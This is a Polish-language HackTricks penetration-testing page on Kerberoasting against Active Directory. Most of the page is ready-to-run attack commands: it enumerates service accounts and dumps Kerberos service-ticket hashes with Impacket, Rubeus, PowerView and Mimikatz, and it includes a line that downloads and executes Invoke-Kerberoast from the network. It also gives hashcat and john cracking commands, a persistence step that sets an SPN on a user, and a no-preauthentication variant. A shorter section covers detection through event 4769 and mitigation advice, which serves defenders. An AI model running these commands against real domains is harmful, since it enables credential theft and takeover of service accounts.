13 KiB
Kerberoast
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Kerberoast
Kerberoasting koncentruje się na pozyskiwaniu biletów TGS, szczególnie tych związanych z usługami działającymi na kontach użytkowników w Active Directory (AD), wyłączając konta komputerowe. Szyfrowanie tych biletów wykorzystuje klucze pochodzące z hasła użytkownika, co umożliwia offlineowe łamanie poświadczeń. Użycie konta użytkownika jako usługi jest wskazane przez niepustą właściwość "ServicePrincipalName".
Do wykonania Kerberoastingu niezbędne jest konto domeny zdolne do żądania biletów TGS; jednak ten proces nie wymaga specjalnych uprawnień, co czyni go dostępnym dla każdego z ważnymi poświadczeniami domeny.
Kluczowe punkty:
- Kerberoasting celuje w bilety TGS dla usług kont użytkowników w AD.
- Bilety szyfrowane kluczami z haseł użytkowników mogą być łamane offline.
- Usługa jest identyfikowana przez ServicePrincipalName, który nie jest pusty.
- Nie są wymagane specjalne uprawnienia, wystarczą ważne poświadczenia domeny.
Atak
{% hint style="warning" %}
Narzędzia do Kerberoastingu zazwyczaj żądają szyfrowania RC4 podczas ataku i inicjowania żądań TGS-REQ. Wynika to z faktu, że RC4 jest słabszy i łatwiejszy do złamania offline za pomocą narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.
Hasze RC4 (typ 23) zaczynają się od $krb5tgs$23$*
, podczas gdy AES-256 (typ 18) zaczynają się od $krb5tgs$18$*
.
{% endhint %}
Linux
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
Narzędzia wielofunkcyjne obejmujące zrzut użytkowników podatnych na atak Kerberoast:
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
Windows
- Wylicz użytkowników podatnych na atak Kerberoast
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
- Technika 1: Poproś o TGS i zapisz go z pamięci
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
- Technika 2: Automatyczne narzędzia
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
{% hint style="warning" %}
Podczas żądania TGS generowany jest Windows event 4769 - A Kerberos service ticket was requested
.
{% endhint %}
Użyj Trickest, aby łatwo tworzyć i automatyzować workflows oparte na najbardziej zaawansowanych narzędziach społeczności.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Cracking
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Trwałość
Jeśli masz wystarczające uprawnienia dla użytkownika, możesz go zrobić kerberoastable:
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
Możesz znaleźć przydatne narzędzia do ataków kerberoast tutaj: https://github.com/nidem/kerberoast
Jeśli napotkasz ten błąd z systemu Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Zbyt duże odchylenie zegara)
, oznacza to problem z czasem lokalnym, który należy zsynchronizować z kontrolerem domeny. Istnieje kilka opcji:
ntpdate <IP kontrolera domeny>
- Przestarzałe od wersji Ubuntu 16.04rdate -n <IP kontrolera domeny>
Niwelowanie
Atak kerberoast może być przeprowadzony z wysokim stopniem skrytości, jeśli jest podatny na eksploatację. Aby wykryć tę aktywność, należy zwrócić uwagę na ID zdarzenia zabezpieczeń 4769, które wskazuje, że żądano biletu Kerberos. Jednak ze względu na wysoką częstotliwość tego zdarzenia, należy zastosować konkretne filtry, aby wyodrębnić podejrzane działania:
- Nazwa usługi nie powinna być krbtgt, ponieważ jest to normalne żądanie.
- Nazwy usług kończące się na $ powinny być wykluczone, aby uniknąć uwzględniania kont komputerowych używanych do usług.
- Żądania z maszyn powinny być odfiltrowane poprzez wykluczenie nazw kont sformatowanych jako maszyna@domena.
- Należy rozważyć jedynie udane żądania biletów, zidentyfikowane przez kod błędu '0x0'.
- Najważniejsze, typ szyfrowania biletu powinien być 0x17, co często jest wykorzystywane w atakach kerberoast.
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
Aby zmniejszyć ryzyko Kerberoastingu:
- Upewnij się, że Hasła kont usług są trudne do odgadnięcia, zaleca się długość powyżej 25 znaków.
- Wykorzystaj Zarządzane konta usług, które oferują korzyści takie jak automatyczne zmiany hasła i delegowane zarządzanie nazwami usługodawców (SPN), zwiększając bezpieczeństwo przed tego rodzaju atakami.
Poprzez wdrożenie tych środków organizacje mogą znacząco zmniejszyć ryzyko związane z Kerberoastingiem.
Kerberoast bez konta domeny
We wrześniu 2022 roku, nowy sposób eksploatacji systemu został ujawniony przez badacza o nazwie Charlie Clark, udostępniony poprzez jego platformę exploit.ph. Ta metoda umożliwia pozyskanie Biletów Usługi (ST) poprzez żądanie KRB_AS_REQ, co nie wymaga kontroli nad żadnym kontem Active Directory. W zasadzie, jeśli podmiot jest skonfigurowany w taki sposób, że nie wymaga wstępnej autoryzacji - scenariusz podobny do znanego w świecie cyberbezpieczeństwa jako atak AS-REP Roasting - ta cecha może być wykorzystana do manipulacji procesem żądania. Konkretnie, poprzez zmianę atrybutu sname w ciele żądania, system jest zmylany do wydania ST zamiast standardowego zaszyfrowanego Biletu Granting Ticket (TGT).
Technika jest w pełni wyjaśniona w tym artykule: wpis na blogu Semperis.
{% hint style="warning" %} Musisz podać listę użytkowników, ponieważ nie mamy ważnego konta do zapytania LDAP za pomocą tej techniki. {% endhint %}
Linux
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
Windows
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
Odnośniki
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Użyj Trickest do łatwego tworzenia i automatyzacji workflowów z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}